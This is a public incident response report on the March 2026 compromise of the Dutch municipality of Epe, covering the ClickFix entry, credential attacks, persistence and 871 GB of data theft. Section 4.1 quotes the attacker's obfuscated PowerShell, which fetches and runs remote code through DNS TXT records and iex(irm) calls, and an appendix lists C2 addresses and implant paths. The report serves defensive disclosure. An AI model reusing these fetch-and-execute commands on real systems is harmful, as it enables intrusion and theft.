CConstaterende datEpe
Koppel je AI →
Document · PDF

PUBLIC EyeSecurity IR Gemeente Epe Report web

Gemeenteraad 18 juni 2026, gemeente EpeBij agendapunt: Vaststelling Lijst ingekomen stukken d.d. 18 juni 20266.771 woorden

Open het PDF bij iBabs ↗Naar de vergadering →

Tekst van het document

Uit het bestand gehaald, zonder opmaak, tabellen en afbeeldingen

Niet gevonden in dit document.

Incident Response Report

22/04/2026 V2

Incident Response Report Municipality of Epe

PUBLIC 1

Incident Response Report

Document Classification This document is classified as PUBLIC. This document and its appendices have been prepared for publication. Prior to release, the report has been reviewed and redacted where necessary to protect sensitive information. In this report, information that, if published, could pose a threat to the (digital) security of Municipality of Epe and/or to individuals employed by or working for the Municipality of Epe, or that is relevant to the criminal investigation, has been anonymized. Any factual references, technical details, and findings presented outside of these anonymized elements reflect the situation as established during the investigation. While this document has been prepared with due care, Eye Securty B.V. accepts no liability for any use of this document or the information contained in it beyond its intended purpose of public disclosure. Eye Security B.V. Saturnusstraat 60-54 2516 AH Den Haag Nederland T +31 (0)88 6444800 (24/7 incident response) T +31 (0)88 6444888 (office hours) info@eye.security https://www.eye.security

Document Distribution Version

Date

Received by

1

25 March 2026

Gemeente Epe & Previder

2

22 April 2026

Gemeente Epe & Previder

Sent by

2

Incident Response Report

Executive Summary On Tuesday, 10 March 2026 17:55 UTC, a security alert related to the installation of Advanced IP Scanner was generated from the host SV-04 within the environment of the municipality of Epe (hereafter: Epe). As additional related alerts emerged over the following two days, Previder B.V. (hereafter: Previder), acting as the Managed Service Provider (MSP), initiated further investigation and subsequently engaged the Eye Security Computer Emergency Response Team (CERT) on 12 March 2026 to assist in the forensic analysis of the incident and securely recovering the network. Eye Security recommended Epe to deploy CrowdStrike, an Endpoint Detection and Response (EDR) solution. Exceptions were added to the firewall to allow Eye Security to remotely investigate the systems of Epe. Eye Security gathered numerous forensic artifacts, which were promptly investigated for forensic traces left behind by the threat actor. Eye Security contained the threat, conducted extensive analysis to determine the root cause of the incident, and removed all backdoors deployed by the threat actor. The root cause of the incident has been traced back to a social engineering attack called ClickFix where a user is persuaded in executing attacker-controlled commands, enabling authorized code execution on the affected endpoint.

After the initial access, an authentication event was observed to the server using an administrator account. Based on the analyzed logs, it is likely that the actor obtained administrative access by performing a well-known attack, targeting multiple service accounts within Active Directory. In addition to the identified lateral movement, the threat actor deployed malware across multiple servers and workstations. The deployed malware functioned as a backdoor allowing the attacker to remotely execute arbitrary commands. By creating a scheduled task configured to run with administrative privileges, thereby maintaining persistent access. During the investigation, it was determined that between 02:00 and 04:45 UTC on 12 March, the threat actor exfiltrated approximately 871 GB of data from the server SV-11. Analysis of the logs from the tool used to exfiltrate the data confirmed that data was taken from 2 network drives. Eye Security has made various recommendations to Epe, based on observations made during the investigation. These recommendations are listed in the separate recommendations document.

3

Incident Response Report

Table of Contents Table of Contents............................................................................................................................................ 4 1.

2.

3.

Introduction ........................................................................................................................................... 5 1.1.

Approach to Forensic Investigation and Incident Response ................................................................... 5

1.2.

Background ............................................................................................................................................ 5

1.3.

Research Questions ................................................................................................................................ 6

1.4.

Research Limitations .............................................................................................................................. 6

1.5.

Reading Guide ........................................................................................................................................ 7

Municipality of Epe ................................................................................................................................. 8 2.1.

General Context ..................................................................................................................................... 8

2.2.

On-Premise............................................................................................................................................. 8

Investigative Approach ........................................................................................................................... 9 3.1.

Secure Recovery of the Environment ..................................................................................................... 9

3.2.

Mitigative Actions .................................................................................................................................. 9

3.3. Collection of Forensic Evidence ............................................................................................................ 10 3.3.1. On-premise Environment ............................................................................................................ 10 3.3.2. Falcon Forensics Collector (FFC) .................................................................................................. 10 3.3.3. Fortinet Firewall .......................................................................................................................... 12 3.3.4. Kroll Artifact Parser and Extractor (KAPE) ................................................................................... 13 3.4. Technical Analysis ................................................................................................................................ 14 3.4.1. Falcon Forensics Collector (FFC) .................................................................................................. 14 3.4.2. Fortinet Firewall Logs .................................................................................................................. 14 3.4.3. Kroll Artifact Parser and Extractor (KAPE) ................................................................................... 14 4.

5.

Investigative Results ............................................................................................................................. 15 4.1.

Root Cause Analysis ............................................................................................................................. 15

4.2.

Lateral Movement and Further Compromise ....................................................................................... 16

4.3.

Data Exfiltration ................................................................................................................................... 17

Conclusion ............................................................................................................................................ 18 5.1.

How did the threat actor gain access to the network of Epe? ............................................................. 18

5.2.

How can Epe resume its operation in a safe and responsible manner? ............................................... 18

5.3.

What actions did the threat actor perform? ........................................................................................ 18

5.4.

Has data of Epe been stolen by the threat actor, and if so, what data? .............................................. 19

5.5.

How can a cyber incident like this be prevented in the future? ........................................................... 19

Appendix A: Timeline of Events by Threat Actor ........................................................................................... 20 Appendix B: Indicators of Compromise ......................................................................................................... 25

4

Incident Response Report

1.

Introduction

This report contains findings and observations made by Eye Security B.V.’s (hereafter: Eye Security) Computer Emergency Response Team (CERT) during the investigation of the cybersecurity incident that took place on the IT infrastructure of the municipality of Epe (hereafter: Epe). The investigation took place in collaboration with Epe’s IT service provider Previder B.V. (hereafter: Previder).

1.1.

Approach to Forensic Investigation and Incident Response

Digital forensics rarely allows for a complete reconstruction of an incident or absolute certainty about every event that took place. A traditional approach treats every potentially affected system as lost and rebuilds the environment entirely from scratch, on the assumption that a digital environment can be returned to a fully "clean" state. In practice, this is rarely achievable within the time and operational constraints of a live incident. For this reason, the investigation followed an assume breach principle: rather than seeking exhaustive certainty on every system, the focus was on quickly establishing the scope and impact of the incident, containing the threat, and enabling a safe and timely recovery of the environment, accepting that a degree of residual uncertainty on individual systems is unavoidable. Real-time monitoring was used to compensate for that uncertainty during and after recovery. In this specific case, the approach consisted of the following steps, carried out in parallel where possible: 1. Triage: initial scoping of the incident, identification of affected systems and accounts, and prioritization of investigative and containment actions. 2. Containment and monitoring: deployment of Endpoint Detection & Response (EDR) tooling across in-scope systems, connected to a 24/7 Security Operations Center (SOC) for realtime detection and response. 3.

Investigation: forensic analysis of relevant systems, logs, and artifacts to determine the entry vector, attacker activity, and scope of impact. 4. Recovery and aftercare: supporting the safe restoration of the environment, followed by a defined period of continued monitoring to detect any residual or recurring malicious activity.

1.2.

Background

On Thursday, the 12th of March 2026, Eye Security’s incident response team was engaged by Previder on behalf of Epe. Epe had been compromised by an unknown threat actor on Tuesday, the 10th of March 2026, resulting in unauthorized access to critical crown-jewel systems within the internal network and subsequent data exfiltration. Eye Security’s incident response team began by triaging the incident, determining how the threat actor had gained initial access to the environment and whether they still had access or ways to regain access once the network isolation was lifted. Simultaneously, the CrowdStrike Endpoint Detection and Response software was rolled out across the server systems of Epe to defend

5

Incident Response Report

systems against new attacks or renewed threat actor activity as well as to aid in the gathering of forensic evidence. Eye Security assisted Previder, on a strategic level, in the process to restore the IT environment of Epe and conducted a forensic investigation into the incident to determine the root cause and discover measures to reduce the likelihood of similar incidents in the future.

1.3.

Research Questions

Epe requested Eye Security to provide incident response services with the goal of answering the following questions:

• • • • •

How did the threat actor gain access to the network of Epe? How can Epe resume its operation in a safe and responsible manner? What actions did the threat actor perform? Has data of Epe been stolen by the threat actor, and if so, what data? How can a cyber incident like this be prevented in the future?

In addition, Eye Security provides recommendations to reduce the likelihood of any such incidents in the future.

1.4.

Research Limitations

During the investigation, not all desired evidence may be available for forensic analysis. For instance, due to destructive actions of the threat actor and short data retention policies. Eye Security coordinated these limitations with Epe, focusing on the ability to answer the research questions. Moreover, rapid restoration of the IT environment had a higher priority than collecting forensic evidence. An overview of the limitations is outlined below:

•

Limited Scope Analysis was carried out on the forensic evidence on the available machines that Eye Security deemed most relevant to the investigation. Traditional digital forensics uses an exhaustive approach to collect all available forensic evidence. Eye Security employs a pragmatic approach: Investigating systems that are directly involved in the timeline in detail, whilst saving valuable time by examining non-relevant systems in less detail but keeping the broader picture in mind.

•

Availability of Logs Eye Security attempted to obtain a full picture of the actions carried out by the threat actor during the period from the 10th to 16th of March 2026. Eye Security is dependent on the availability of logs and other data sources for its investigation. The factors mentioned below played a part in limiting the amount of available logging: o o

The firewall logs had insufficient data retention, meaning logs had been rotated out; The SentinelOne and Aurora environments had limited telemetry;

6

Incident Response Report

o

1.5.

The threat actor deleted/wiped/destroyed multiple Windows Event Logs including the System and Security log.

Reading Guide

Chapter 2 describes the IT infrastructure of Epe. Chapter 3 describes the methodology used during the investigation. Chapter 4 contains the results of the investigation. Finally, Chapter 5 contains the conclusion of the research. The appendixes contain a timeline of forensic events and a list of Indicators of Compromise (IoC). All times mentioned are in UTC, unless otherwise specified. All hostnames, usernames and passwords mentioned in the report are anonymized.

7

Incident Response Report

2.

Municipality of Epe

This chapter describes the IT environment, infrastructure and architecture of Epe at a high level of abstraction, to serve primarily as context for the following chapters.

2.1.

General Context

The Municipality of Epe is a Dutch local authority serving about 33,000 residents. It manages core public services such as civil affairs, social support, and population administration, requiring the storage and processing of sensitive personal data. The IT infrastructure consists of Windows workstations and servers. The network is segmented into multiple VLANs. The affected segment was VLAN 8, which contains servers in the 172.16.8.0/23 range. Other available VLANs include, but are not limited to:

• • • • •

VLAN4 VLAN40 VLAN10 VLAN15 VLAN6

The Active Directory domain local.epe.nl is used throughout the environment, with network segmentation enforced through a Fortinet firewall. However, this enforcement was not applied correctly during the time of the incident, as confirmed by Epe. This matches the observation that the threat actor was able to move laterally to the server VLAN from a desktop. Prior to the incident, SentinelOne (S1) Control was used as the primary Endpoint Protection Platform (EPP), supplemented by Cylance Aurora as an additional endpoint security solution.

2.2.

On-Premise

Systems relevant to this investigation are a member of the local.epe.nl domain. The infrastructure consists of multiple Windows endpoints and 33 Windows servers, of which two servers are domain controllers. While the majority of these servers were running Windows Server 2019, some servers were running Windows Server 2016 and 2022. Epe uses 2 remote management systems: •

The N-Central (Takecontrol) RMM to remotely administer systems.

•

TeamViewer for incidental use by the servicedesk (workstation to workstation)

8

Incident Response Report

3.

Investigative Approach

This chapter discusses the methodology and tools used to answer the research questions defined in chapter 1.3.

3.1.

Secure Recovery of the Environment

The following activities have been performed by Previder under the guidance of Eye to safely recover the IT infrastructure of Epe:

• • •

Installation of the CrowdStrike Falcon agent on servers within the VLAN segment and on workstations; Restoring backups; Restoring internet connectivity.

During the entire incident response process, Eye has provided support and advice to Epe, to keep the recovered environment secure and operational.

3.2.

Mitigative Actions

The following mitigative actions were taken by Eye and/or Previder after the incident occurred:

• • • • •

Isolating the servers’ network from the internet; o An exception was made for the CrowdStrike cloud platform in the firewall; Reset all Active Directory user, service, and krbtgt account credentials; Isolation of workstation WS-01, later identified as the point of initial access; Determining the presence of backdoors and other persistency mechanisms; Removing backdoors/persistency mechanisms.

9

Incident Response Report

3.3.

Collection of Forensic Evidence

3.3.1. On-premise Environment Utilizing the CrowdStrike Falcon Agent, Eye Security was able to remotely investigate most of the servers and workstations. For these systems, Eye Security primarily collected evidence mainly through Falcon Forensics Collector (FFC) and on some systems using the Kroll Artifact Parser and Extractor (KAPE). 3.3.2. Falcon Forensics Collector (FFC) The EDR software used by Eye Security, CrowdStrike Falcon, allows for the automatic collection of forensic data from workstations and servers within the environment of Epe. This collected forensic data can then be used to perform incident response investigations, compromise assessments and threat hunting. It works by collecting a snapshot of forensic data after it executes on each system. The FFC then securely uploads the snapshot of forensic triage data to the CrowdStrike Cloud for analysis. The following host-based artifacts are collected with FFC: Artifact

Description

Amcache

Amcache registry hive entry, which contains metadata related to windows Portable Executable binary image (PE) execution and program installation.

BAM

Gathers Background Activity Moderator (BAM) registry entry

Browser

Gathers Windows browser artifacts

DataStore

Processes Windows Update History stored in the DataStore.edb file.

Defender

Pulls defender thread and detection details and generates MpThreat, MpThreatDetection, and dirlist related events for detected and threat file.

Dirlist

Generates a list of files and sub-directories.

Drives

Generates a list of all disks and the FsVolumeMounted event.

Drivers

Provides information about driver files.

Env

Collects information on all system and current user variables.

Events

Collects Windows event logs.

Files

Summarizes all files on a system drive and Collects all of this information into a FileStatisticInfo event.

Groups

Shows information on all user groups of the system.

10

Incident Response Report

Handles

Shows information for each entry in a process handle table referencing a kernel object.

Jobs

Shows all at jobs in use.

Link

Gives information for each link file and its target file. Target file can be found using Dirlist related events.

LogFile

Collects warning and error log events.

Magic

Collects information on files within the file system that have fake extensions, such as a file that has an extension .doiuv but the byte signature belongs to a PE extension.

Mal

Gives information on malicious DLL files that have identical base names but different SHA256 hashes to MalPaths events.

MFT

Gives information for each volume’s Master File Table (MFT) and each MFT Record.

Network

Collects network information for several different parts of the system including IPv4 and v6 events .

PCA

Collects information on application launch entries in Program Compatibility Assistant.

PEInfo

Information on the Portable Executable (PE) header information, to PeHeaderInfo and Dirlist related events for the PE file.

Pipes

Collects information on named pipes.

Prefetch

Extracts information from .pf files and Layout.ini files

PSList

Shows current running processes into ProcessRollup2 events.

Recentfiles

Collects entries in the RecentFileCache.bcf, this is only used in Windows 7 collections.

Recycle

Collects files found in the recycle bin.

Regdump

Collects information about registry entries.

RegFile

Transforms file references in the registry to RegGenericInfo events and Dirlist related events.

SDB

Collects each tag entry in the Shim Database (SDB).

Services

Collects information about running services.

11

Incident Response Report

Shares

Collects information on network shares.

Shellbag

Collects information for each entry in the Shellbag MRU registry hive.

Shim

Collects information for each Application Compatibility (Shim) Cache registry entry module.

StartupInfo

Collects information on each process started during the first 90 seconds of bootup in StartupInfo XML files.

SRUM

Collects details about system resource usage by each user process in the Application Resource table of the System Resource Usage Monitor database. Also Collects network resources, data usage and resource usage timeline.

Superfetch

Collects information from AgForegroundAppHistory.db and each application running schedule/period from AgGlobalHistory.db.

Syscache

Collects information on the syscache registry hive.

Tasks

Collects information for each scheduled task.

UAL

Collects information on per-user access log entry for a service role and IP address pair in the CLIENTS table of the UAL database on windows servers.

USB

Collects information for each USB device attached to the system.

UserAssist

Collects information on each application launched via a user-assisted GUI menu.

Users

Collects information about user accounts on the host.

USN Journal

Collects information within the USN Journal

Webshell

Collects probability and statistics if a scanned file is a WebShell.

WMIQuery

Collects information from the Windows Management Instrumentation (WMI) query status.

If there are unresolved questions that cannot be answered with this collection, additional evidence was gathered using CrowdStrike Real-Time Response (RTR). This tool establishes a remote connection, allowing for the execution of PowerShell commands directly on the target systems to retrieve further information. 3.3.3. Fortinet Firewall The municipality of Epe utilizes two Fortinet Firewalls as the perimeter security device for its infrastructure. Firewall log files were unavailable for analysis due to prior log rotation. 12

Incident Response Report

3.3.4. Kroll Artifact Parser and Extractor (KAPE) For a few systems, Eye Security manually collected forensic triage packages using the Kroll Artifact Parser and Extractor (KAPE). The data collected was similar to the data collected by the FFC, however, the KAPE triage gave access to the raw artifacts and therefore more methods to analyze the data. The triage packages were created using the ‘SANS_Triage.tkape’ target. This target collects most forensically relevant data from a system, including:

• • • • • • • • • • • • • • • • •

Antivirus event logs, Cloud storage logs, Windows Group Policies, Evidence of file execution, File system metadata, LNK files and Jump lists, Messaging applications, Recycle bin files, Registry Hives, Remote Access application logs, Scheduled Tasks, System Resource Utilization Monitor (SRUM), Windows Error Reporting, Thumbcache, Windows Management Instrumentation, Web Browser Information, Windows Timeline database.

After the evidence was collected by KAPE and compiled into forensic triage packages, these packages were securely uploaded to the CrowdStrike Cloud. Eye Security then downloaded them from the CrowdStrike Cloud for analysis.

13

Incident Response Report

3.4.

Technical Analysis

The following section provides a high-level overview of the technical forensic analyses conducted by the incident response team. It outlines the methodologies, tools, and approaches applied during the examination process, without going into detailed technical output, to give a clear understanding of the investigative approach taken. 3.4.1. Falcon Forensics Collector (FFC) Once the triage packages created by FFC are uploaded to the CrowdStrike Cloud, they become accessible through the CrowdStrike Falcon console. Our analysts used the following tools and features to analyze the collected data:

• • •

•

Event Timeline: Analysts can view a detailed timeline of events, including file access, process execution and network activity. This helps in understanding the sequence of events leading up to and following a security incident. Indicators of Compromise (IoCs): The dashboard automatically highlights potential IOCs based on the collected data, such as suspicious processes, unauthorized access attempts and anomalous behavior. Correlation with Threat Intelligence: The platform integrates with CrowdStrike’s threat intelligence, enabling analysts to correlate findings with known threats and attack techniques. This can provide additional context and help in identifying the attacker’s tactics. Search and Query Tools: Analysts can search and query the collected data for specific artifacts, keywords or patterns. This helps in pinpointing specific evidence or confirming hypotheses about the incident.

Eye Security also uses a solution developed in-house to automatically run custom queries on the collected data, creating useful overviews for analysts to focus on, rather than running the queries themselves. 3.4.2. Fortinet Firewall Logs The log files of the Fortinet firewall were unavailable for analysis due to prior log rotation. 3.4.3. Kroll Artifact Parser and Extractor (KAPE) Analysts can analyze the output of KAPE (Kroll Artifact Parser and Extractor) by leveraging opensource tools like Plaso to extract and interpret digital forensic artifacts. Plaso can create a timeline of events from forensic artifacts by parsing KAPE outputs to reconstruct a chronological sequence of all activities on the system. For certain artifacts, specialized open-source analysis tools were employed based on the analyst’s needs. These tools are designed to parse individual artifacts in greater detail than Plaso, enabling a more in-depth examination of specific data types and providing additional insights that might not be as readily accessible through Plaso alone.

14

Incident Response Report

4.

Investigative Results

This chapter contains an overview of observations and findings made during the forensic investigation into the incident. It does not detail every action but instead highlights the most valuable information obtained in the forensic investigation.

4.1.

Root Cause Analysis

Eye Security investigated multiple servers within the VLAN40 network as well as relevant workstations by looking at the forensic data available. During this investigation, it was determined that the first malicious activity occurred on Tuesday, 10 March 2026 at 13:09 on workstation WS-01, where an encoded PowerShell command associated with a ClickFix attack that has been executed. cmd /c echo saps powershell '-nop -enc aQB[snip]wApAA==' -Wi H|powershell -nop -

The Base64-encoded PowerShell command decodes to: iex((Resolve-DnsName -Type TXT app[.]toocleanautodetail[.]com -Server 8.8.8.8).Strings -join '')

This command retrieves text data from DNS TXT record of the attacker-controlled domain and executes it directly in memory. Upon querying the attacker-controlled domain’s TXT records, Eye Security identified embedded PowerShell code, presented below. iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=iOeFWdlpYIslqOE7PWn-3w'); irm ' https://toocleanautodetail[.]com/YkU5C7Eb?s=2&p=1&t=iOeFWdlpYIslqOE7PWn3w'%7Ciex

This command instructs the system to download PowerShell code from a remote server using the Invoke-RestMethod (irm) cmdlet and execute it in memory using the Invoke-Expression (iex) cmdlet, without saving anything to disk. The PowerShell code could not be recovered because the remote server was offline during analysis. After the script execution, a persistence mechanism was added using Registry Run Keys which executes upon user login. Two run key entries were observed named NvidiaUpdate and SpotifyWebHelper. Both run keys had a value of encoded PowerShell command such as the one presented below. powershell -w h -enc UwB0AGEAcg[snip]G4A

The Base64-encoded PowerShell command decodes to another PowerShell process that executes a base64-encoded command in a hidden window. The decoded value of this command is shown below. try { iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=5prVel7rA6T38_XvaFe8fA') } catch { sleep 1; iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=5prVel7rA6T38_XvaFe8fA') };

15

Incident Response Report

irm 'https://toocleanautodetail[.]com/YkU5C7Eb?s=2&p=1&t=5prVel7rA6T38_XvaFe8fA'|iex

The combination of encoded PowerShell commands and the retrieval of additional code through DNS TXT records is strong indication of a ClickFix attack. This technique relies on social engineering, in which victims are misled by fake CAPTCHA prompts or error messages and are tricked into executing a malicious command themselves. Epe confirmed that the involved user recognized this behavior. The exact method used by the threat actor to convince the user to execute the command could not be determined by Eye Security with the forensic data available.

4.2.

Lateral Movement and Further Compromise

Following the initial compromise of workstation WS-01 on Tuesday, 10 March 2026 at 13:09 (directly after the execution of the ClickFix payload), Eye Security deems it highly likely that the actor conducted a Kerberoasting attack at 13:56, targeting multiple service accounts within Active Directory. This technique enables an actor to request a Kerberos Service Ticket (TGS) from the Kerberos Distribution Center (KDC) for accounts with Service Principal Names (SPNs) and subsequently attempt to crack these tickets offline. If a service account uses a weak password, the attacker can recover the plain text credentials. At 14:10 on 10 March 2026, the actor began enumerating Windows servers in Active Directory to identify potential lateral-movement targets. Shortly thereafter, the actor initiated a hard-coded credential spray attempt over the Windows Management Instrumentation (WMI) protocol using credentials associated with AdmUser2 account Based on the sequence of observed actions, it is likely that the actor successfully cracked the Kerberos service ticket associated with the admin account and obtained its plain-text password, enabling further lateral movement within the environment. At 14:13 the actor authenticated to SV-01 using the compromised admin account.

Multiple similar events at the same timestamp show that the attacker attempted coordinated lateral movement from SV-01 toward other servers (SV-10, SV-09) using the same compromised credentials. Between 14:34 and 14:39, the actor escalated actions on SV-03 by disabling Windows Defender real time protection and creating a malicious scheduled task configured to run every 12 hours under system privileges, thereby establishing persistence. Approximately fifteen minutes later, the Security log on the system was cleared, demonstrating deliberate attempts to remove evidence. Later, at 18:00, multiple instances of remote registry dumping executed on SV-02 with system level privileges. Registry Dumping is a technique for harvesting credentials from the SAM, SYSTEM, and SECURITY hives. At the same time, both the Security and System event logs were cleared using the built in Administrator account on SV-04, destroying key forensic artifacts. Due to the limited forensic data (see chapter 1.4), it’s not possible for Eye Security to determine exactly how the switch was made to domain administrator privileges on SV-02. Additionally, on 10 March 2026 at 17:55 and on 11 March 2026 at 23:28 on SV-04, SentinelOne detected the software Advanced IP scanner. The software was also identified on 11 March at 23:37 on server SV-05.

Later, on 12 March at 00:12 and 00:20 the software Advanced IP Scanner and Angry IP Scanner were detected on the server SV-06. SentinelOne performed mitigative actions (killing the process and/or quarantine the executable) on all servers where the software Advanced IP scanner and Angry IP Scanner were detected.

16

Incident Response Report

It was also observed that between 17:45 on 10 March 2026 and 02:59 on 12 March 2026, the built-in Administrator account on SV-04 initiated 21 RDP authentication attempts to SV-02 using the credentials of the administrator (AdmUser3). On Thursday, 12 March 2026 at 00:09, the break glass account AdmUser4 was used to authenticate to the Veeam server (SV-06) via PowerShell Remoting and executing commands such as ‘quser’. Additionally, the actor placed a malicious DLL (netdrv.dll) and created a malicious scheduled task named ‘\System’ on SV-02, establishing persistence access with system privileges on the domain controller. These actions were detected by Windows Defender at 00:13. Later, at 00:31 on 12 March 2026, the actor created a malicious scheduled task named ‘\Systeem’ on EPE-SV-11 by an admin user. The task was configured with a trigger to execute on every system startup under local system privileges. One minute later, the task was modified to run every 12 hours. At 00:45, the actor downloaded AzCopy using Chrome browser, and at 02:07 the exfiltration of data from EPE-SV-11 via AzCopy started. Data exfiltration stopped at 04:45, after copying roughly 600,000 files amounting to approximately 871 GB.

Then, at 02:53 on 12 March 2026, the actor also created another scheduled task named ‘\Systeem’ that run with system privileges on SV-09, ensuring continued access to the RDS host. Lastly, between 10:20 and 14:00, multiple domain accounts, including the break glass account AdmUser4, had their passwords reset.

4.3.

Data Exfiltration

Eye Security observed that approximately 871 GB of data was exfiltrated from the server SV-11 between 02:00 and 04:45 on 12 March 2026 to the Azure Blob Storage endpoint dfvhi7yh[.]blob.core.windows.net. Log analysis of the exfiltration tool (AzCopy) showed that data was taken from the H: and F: drives (a total of 551.447 files) were exfiltrated by the threat actor. Eye Security shared a complete list of files exfiltrated by the threat actor with Epe on Friday, 13 March 2026. Eye Security monitors the publicly available leak sites, where threat actors publish data from victims. During the incident response engagement and at the time of writing (25-03-2026), Epe has not been mentioned on any of the leak sites that are being monitored.

17

Incident Response Report

5.

Conclusion

In this chapter, a conclusion is drawn for each research question described in chapter 1.3 based on the findings in chapter 4.

5.1.

How did the threat actor gain access to the network of Epe?

The threat actor gained access to the network of Epe via a user that was compromised with a ClickFix-attack. The attack caused the user to unknowingly execute malicious commands. These commands retrieved malware, which allowed the threat actor to establish persistence on the device and to move laterally into the network. Eye Security has attempted to find the exact method of delivery of the ClickFix vector but has not found conclusive evidence. The scale and impact of the compromise were largely attributable to a combination of environmental factors, including the availability of PowerShell and the Run dialog to end users, as well as a firewall configuration that permitted unrestricted lateral movement from the workstation subnet to the server subnet at the time of the incident.

5.2.

How can Epe resume its operation in a safe and responsible manner?

To ensure a secure recovery, the municipality of Epe has taken the following measures under the guidance of Eye Security and with the support of MSP Previder: • • • •

Deployment of the CrowdStrike Falcon agent on the servers within the VLAN40 network and on workstations. Temporarily blocking network access from the server network (internal → external). Isolation of the workstation where the initial access took place. Reset all passwords for both user and service accounts, as well as the krbtgt account on the domain controllers.

The actions mentioned above made sure that the actor’s access to the environment was removed. CrowdStrike will be enrolled to all workstations available to protect the environment alongside the CrowdStrike agents already active on the server. This, combined with the recommendations provided in the recommendations document, mitigates the current risk of a new cyberattack to an acceptable level and allows operation to resume in a safe and responsible manner.

5.3.

What actions did the threat actor perform?

After gaining initial access, the actor performed the following activities: • • • • • • •

Create persistence via scheduled tasks on various systems throughout the duration of the incident. Disable Windows defender. Enumeration of the active directory to identify available servers and vulnerable users. Lateral movement to different servers and the domain controller (SV-02). Credential harvesting by dumping the registry from the domain controller. Removal of Windows events logs to remove evidence. Exfiltration of data from SV-11.

18

Incident Response Report

5.4.

Has data of Epe been stolen by the threat actor, and if so, what data?

Based on forensic data and log information, Eye Security concludes that the actor exfiltrated approximately 871GB of data from server SV-11 using the tool azcopy. This tool was downloaded using an administrator account on March 12, 2026 at 11:45. Eye Security has found logfiles generated by the use of azcopy which showed that data has been uploaded to an Azure Blob Storage account. A complete overview of the stolen data can be found in the file list that was shared with municipality of Epe.

5.5.

How can a cyber incident like this be prevented in the future?

See the recommendations listed in the separate recommendation document.

19

Incident Response Report

Appendix A: Timeline of Events by Threat Actor Date (UTC) 2026-03-10 13:09

Category

Assets

Event

Initial Access

WS-01

ClickFix style attack observed. Two instances of heavily obfuscated PowerShell scripts were executed on the affected system, demonstrating sophisticated defense evasion techniques consistent with lateral movement attack chains.

2026-03-10 13:56

2026-03-10 14:10

Lateral Movement

WS-01

Kerberoasting style attack observed

Lateral Movement

WS-01

Active Directory Server Enumeration via DirectoryServices A PowerShell script executed on WS-01l used DirectoryServices.Direct orySearcher to perform domain reconnaissance by enumerating all Windows Server computers in Active Directory.

2026-03-10 14:13

Lateral Movement

WS-01

Hardcoded Credentials Used in Automated WMI Domain Server Sweep A PowerShell script containing hardcoded credentials (AdmUser2 / Password-Adm02) executed on the host to

20

Incident Response Report

systematically enumerate and test local administrator access across all Windows Servers in Active Directory via WMI.. 2026-03-10 14:13

2026-03-10 14:17

2026-03-10 14:34

2026-03-10 14:35

2026-03-10 14:39

Lateral Movement

SV-01

Lateral Movement observed. (Explicit Credential Logon via PowerShell to SV-01 using the compromised account)

Lateral Movement

SV-02

Remote Command Execution - User Enumeration via quser

Persistence

SV-03

Implant C:\Users\Public\m.dll detected.

Persistence

SV-03

Windows Defender Real-Time Protection Disabled

Persistence

SV-03

Malicious Scheduled Task Creation for Persistence A scheduled task named '\System' was created to execute malicious code under SYSTEM privileges every 12 hours.

2026-03-10 17:45

Lateral Movement

SV-04

Compromised Administrator Lateral Movement via RDP to Domain Controller At 17:45:02 UTC on 2026-03-10, the built-in Administrator account on SV-04 initiated an outbound NTLM authentication attempt

21

Incident Response Report

targeting TERMSRV/SV02 (Terminal Services / RDP 2026-03-10 17:45

Lateral Movement

SV-04

Suspicious NTLM RDP Connections Using Built-in Administrator Account The built-in Administrator account from the EPE domain initiated repeated Remote Desktop Protocol (RDP) connections to domain controller SV-02 using the local account 'AdmUser3'.

2026-03-10 17:55

Discovery

SV-04

Advanced IP scanner detected by SentinelOne SentinelOne has alerted on the usage of Advanced IP Scanner on the internal host SV-04 which led to the investigation of Eye Security.

2026-03-10 18:00

2026-03-10 18:00

2026-03-11 23:28

2026-03-11 23:37

Lateral Movement

SV-02

Remote Registry Dump Detection on Domain Controller

Defense evasion

SV-04

Security & System Event Log Cleared

Discovery

SV-04

Advanced IP Scanner detected by SentinelOne

Discovery

SV-05

Advanced IP Scanner detected SentinelOne

22

Incident Response Report

2026-03-11 23:40

Lateral Movement

SV-02

PowerShell Remoting (WinRM) Session Initiated via wsmprovhost A PowerShell remoting session was established on SV-02 through Windows Remote Management (WinRM) was created.

2026-03-12 00:09

2026-03-12 00:12

2026-03-12 00:13

2026-03-12 00:13

2026-03-12 00:20

2026-03-12 00:31

Lateral movevet

SV-06

Break the glass account (AdmUser4) authenticated via Powershell Remoting to SV-06

Discovery

SV-06

Advanced IP Scanner detected by SentinelOne

Persistence

SV-02

Implant C:\Users\Public\ netdrv.dll created and scheduled task ‘\System’ created.

Persistence

SV-02

Backdoor DLL Detected and Executed via Scheduled Task Persistence

Discovery

SV-06

Advanced IP Scanner detected by SentinelOne

Persistence

SV-07

Malicious BootTriggered Scheduled Task with Unsigned DLL A scheduled task named '\Systeem' was created on SV-07 execution).

23

Incident Response Report

2026-03-12 00:45:45

2026-03-12 01:12:21

Exfiltration

SV-07

Persistence SV-06

Download of azcopy via Chrome was observed Malicious Scheduled Task Creation for Persistence A suspicious scheduled task named \System was created by user AdmUser1 with SYSTEM privileges to execute a malicious DLL every 12 hours.

2026-03-12 02:07:21

Exfiltration SV-07

2026-03-12 03:04:09

Persistence SV-08

Start of data exfiltration using azcopy Malicious Scheduled Task Created via rundll32 DLL Execution A scheduled task named '\Systeem' was created on SV-08

2026-03-12 02:53:00

2026-03-12 04:37

Persistence

SV-09

Scheduled task ‘\Systeem’ created.

Exfiltration

SV-07

End of data exfiltration using AzCopy

24

Incident Response Report

Appendix B: Indicators of Compromise Value \Systeem

Meow

166.117.207.247

166.117.68.252

199.187.125.171

54.39.83.131

1218afeea280850417ad2b98d d6146f93a40241303520c45c4 bbdc1550dececb C:\ProgramData\ip_scaner.ex e

C:\Users\Public\asd\msys.dll

C:\Users\Public\netdrv.dll

Type

Description

String

Name of the scheduled task that was created by the actor.

String

Execution artifact referencing the suspicious DLLs netdrv.dll, msys.dll, and m.dll invoked with the parameter 'Meow'.

IPv4 address

C2 implant IP adres

Ip-dst

C2 addresses for implants (netdrv.dll, m.dll, msys.dll)

Ip-dst

C2 addresses for implants (netdrv.dll, m.dll, msys.dll)

Ip-dst

Found in msys.dll - suspected C2 meterpreter server

Filepath

Filehash of mysys.dll

Filepath

Filepath of the installed advanced ip scanner

Filepath

DLL file (implants) dropped by attacker on affected systems in writable directories such as C:\Users\Public and C:\Users\Public\Videos\asd\m sys.dll

Filepath

